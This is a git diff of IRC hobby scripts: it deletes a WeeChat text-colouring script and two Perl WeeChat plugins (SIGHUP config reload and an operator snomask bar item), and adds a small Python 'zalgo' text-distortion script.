- input = input.decode("UTF-8")
- input_method = "keybinding"
-
- if not input:
- return w.WEECHAT_RC_OK
-
- optstop = input and input[0] == '-' and input.find(' ')
- opts = input[1:optstop] if optstop else ''
- cmdstop = 'c' in opts and input.find(' ', optstop+1)
- cmd = ''
- if 'm' in opts: cmd = '/me '
- if 'c' in opts:
- find = input[optstop+1:cmdstop]
- where = input.find(find, cmdstop+1)
- cmd = input[cmdstop+1:where]
- input = input[where+len(find):]
- else:
- input = input[optstop+bool(optstop):]
- regex = regex_words if 'w' in opts else regex_chars
- inc = 'r' not in opts
- bs = 'e' in opts
- colors = ncolors if 'x' not in opts else (xxcolors if bs or not inc else xcolors)
- if 'p' in opts:
- i = input.find(' ')
- colors = input[:i].split(',')
- input = input[i+1:]
- input = input[::-1] if 'b' in opts else input
- output = u""
- tokens = re.findall(regex, input)
-
- if 's' in opts:
- color_local = 0
- colors = [colors[int(float(i)/len(tokens)*len(colors))]
- for i in xrange(len(tokens))]
-
- color_count = len(colors)
- for token in tokens:
- # prefix each token with a color code
- c1 = unicode(colors[color_local % color_count]).rjust(2, "0")
- if bs:
- c2 = random.randint(1, color_count - 1) % color_count
- c2 = unicode(colors[c2 + 1 if c2 == color_local % color_count else c2]).rjust(2,"0")
- output += u'\x03' + c1 + ',' + c2 + token
- else:
- output += u"\x03" + c1 + token
-
- # select the next color or another color at
- # random depending on the options specified
- if not inc:
- color_local += random.randint(1, color_count - 1)
- else:
- color_local += inc
- output += u'\x0f'
-
- # output starting with a / will be executed as a
- # command unless we escape it with a preceding /
- # Commands should use the -c flag
- if len(output) > 0 and output[0] == "/":
- output = "/" + output
- if len(cmd) > 0:
- output = cmd + output
- if input_method == "keybinding":
- w.buffer_set(buffer, "input", output.encode("UTF-8"))
- else:
- w.command(buffer, output.encode("UTF-8"))
- return w.WEECHAT_RC_OK
diff --git a/irc/weechat/sighup.pl b/irc/weechat/sighup.pl
@@ -1,22 +0,0 @@
-use strict;
-use warnings;
-
-no strict 'subs';
-
-my $SCRIPT_NAME = 'sighup';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.0';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Reload config on SIGHUP';
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
- weechat::hook_signal('signal_sighup', 'cb_sighup', '');
-}
-
-sub cb_sighup {
- weechat::command('', '/reload');
-
- return weechat::WEECHAT_RC_OK_EAT;
-}
-
diff --git a/irc/weechat/snomasks.pl b/irc/weechat/snomasks.pl
@@ -1,58 +0,0 @@
-# Released into the Public Domain
-
-# Note: After loading the script and adding snomasks into one of your bars, you
-# must request /umode once on each server you have server notices masks set on.
-# After that, the script will automatically update the bar item.
-
-use strict;
-use warnings;
-
-no strict 'subs';
-
-my $SCRIPT_NAME = 'snomasks';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.1';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Server notice mask bar item for opers';
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
- weechat::bar_item_new('snomasks', 'bar_snomasks', '');
- weechat::hook_signal('buffer_switch', 'buffer_switch', '');
- weechat::hook_signal('irc_server_disconnected', 'irc_disconnected', '');
- weechat::hook_signal('*,irc_raw_in_008', 'irc_008', '');
-}
-
-my %snomask;
-
-sub bar_snomasks {
- my $buffer = weechat::current_buffer();
-
- return ''
- if weechat::buffer_get_string($buffer, 'localvar_plugin') ne 'irc';
-
- my $server = weechat::buffer_get_string($buffer, 'localvar_server');
- return $snomask{$server} // '';
-}
-
-sub buffer_switch {
- weechat::bar_item_update('snomasks');
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_008 {
- my (undef, $server, $modes) = (shift,
- shift =~ /^(.+),irc_raw_in_008$/,
- shift =~ /:[^ ]* 008 [^ ]* (?::Server notice mask \()?([^ )]*)/);
- $server = lc $server;
-
- $snomask{$server} = $modes;
- weechat::bar_item_update('snomasks');
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_disconnected {
- my $server = pop;
- delete $snomask{lc $server};
- return weechat::WEECHAT_RC_OK;
-}
diff --git a/zalgo.py b/zalgo.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# zalgo text - developed by acidvegas in python (https://acid.vegas/random)
+
+from random import randint, choice
+
+def zalgo(text, intensity=50):
+ zalgo_chars = [chr(i) for i in range(0x0300, 0x036F + 1)]
+ zalgo_chars.extend([u'\u0488', u'\u0489'])
+ if not _is_narrow_build:
+ text = _insert_randoms(text)
+ zalgoized = []
+ for letter in text:
+ zalgoized.append(letter)
+ for _ in range(randint(0, intensity) + 1):
+ zalgoized.append(choice(zalgo_chars))
+ response = choice(zalgo_chars).join(zalgoized)
+ return response
+
+def _insert_randoms(text):
+ random_extras = [unichr(i) for i in range(0x1D023, 0x1D045 + 1)]
+ newtext = []
+ for char in text:
+ newtext.append(char)
+ if randint(1, 5) == 1:
+ newtext.append(choice(random_extras))
+ return u''.join(newtext)
+
+def _is_narrow_build():
+ try:
+ chr(0x10000)
+ except ValueError:
+ return True
+ return False
+
+for i in range(100):
+ print(zalgo('This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test This is a test '))
+\ No newline at end of file
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |